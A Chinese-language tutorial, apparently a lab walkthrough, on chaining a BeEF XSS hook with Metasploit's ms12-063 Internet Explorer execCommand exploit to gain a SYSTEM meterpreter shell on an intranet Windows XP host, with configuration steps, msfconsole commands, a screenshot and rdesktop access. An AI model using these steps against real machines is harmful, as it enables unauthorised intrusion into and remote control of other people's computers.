metasploit利用IE漏洞XSS挂马拿内网主机
系统:kali
用到的工具:beef+msf
利用的ie漏洞是:http://www.rapid7.com/db/modules/exploit/windows/browser/ie_execcommand_uaf
ms12-063
automaticie 7 on windows xp sp3ie 8 on windows xp sp3ie 7 on windows vistaie 8 on windows vistaie 8 on windows 7ie 9 on windows 7
用到的beef+msf
先配置下:
root@kali:~# cd /usr/share/beef-xss/root@kali:/usr/share/beef-xss# lsbeef beef_key.pem config.yaml db gemfile modulesbeef_cert.pem bundle core extensions gemfile.lock
编辑下config.yaml
把metasploit :false改成true
再进入extensions/metasploit/
同样修改下config.yaml
把host跟callback_host 改成自己的ip 这里是220.128
再改动下custom path:
这样beef已经配置好了。那就运行下metasploit
运行msf后 数据库连接下,不然上线也会没有提示的。这里的pass 就是extensions/metasploit/config.yaml里面的pass
这样就没有什么问题。我们可以先看一下beef.数据库只要连上了就不会出现msf的api错误的。
进入beef
账号密码beef 配置文件里面有。beef:beef
那beef已经都ok了。
现在来搞下选择下要显示的页面:
hook.js 运行beef 显示出来的。
别忘记运行下apache。
我们再进入msf
use exploit/windows/browser/ie_execcommand_uaf
可以自己根据自己的要求来选择。
show options
port可以自已改。
我用xp+ie7
直接访问下我们的页面192.168.220.128/xss/
beef就会显示出来了。
点击 commands-hookeddomain-redirect browser 让他重新跳转到我们msf生成的地址上。beef很多功能。
把地址改成192.168.220.128:8080(msf生成的地址)
我们就会看到msf上面已经显示出来了。 回显了sessions
payload可以自己去改。我使用的meterpreter载荷
执行sessions -i
执行sessions -i id号
可以执行任意命令已经是系统权限
执行下screenshost
meterpreter > screenshot screenshot saved to: /root/dlssqbkf.jpeg
就可以看到当前主机的屏幕内容。
也可以rdesktop 远程连接上去。
参数rdesktop -f ip -u username -p password
这也是一种xss挂马拿内网主机。
注:鄙人每天都在写一些metasploit的玩法,如果有大神有什么好的方法希望告诉我,我更新在空间,分享给大家。